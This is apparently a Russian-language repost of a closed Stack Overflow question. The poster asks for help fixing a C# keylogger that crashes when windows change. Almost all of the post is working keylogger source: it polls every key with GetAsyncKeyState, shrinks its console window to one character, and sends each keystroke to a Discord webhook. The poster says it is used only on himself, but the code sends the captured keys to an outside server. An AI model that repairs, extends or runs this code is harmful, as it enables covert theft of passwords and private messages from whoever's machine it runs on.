Я пытался создать кейлоггер, но каждый раз, когда кто-то (только я) меняет окна на что-нибудь еще, после этого он просто вылетает и закрывается, и отправляет странные символы, когда кто-то нажимает alt или ctrl
это единственный код, который у меня есть, и я не знаю, как исправить его сбой при переключении окон
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
[DllImport("user32.dll")]
static extern int GetAsyncKeyState(Int32 i);
Console.Title = "TESTING!";
while (true)
{
Console.SetWindowSize(1, 1);
Console.ForegroundColor = ConsoleColor.Green;
Thread.Sleep(100);
for (int i = 0; i < 255; i++)
{
int keystate = GetAsyncKeyState(i);
if (keystate == 1 || keystate == -32767 || keystate == 32769)
{
string key = ((char)i).ToString();
SendMs(key);
Console.Write(key);
break;
}
}
}
static void SendMs(string message)
{
string webhook = "https://discord.com/api/webhooks/132926 ... OxPNQ2CzNs";
WebClient client = new WebClient();
client.Headers.Add("Content-Type", "application/json");
string payload = "{\"content\": \"" + message + "\"}";
client.UploadData(webhook, Encoding.UTF8.GetBytes(payload));
}
Подробнее здесь: https://stackoverflow.com/questions/793 ... mand-promt
Кейлоггер в командной строке C# [закрыто] ⇐ C#
-
- Похожие темы
- Ответы
- Просмотры
- Последнее сообщение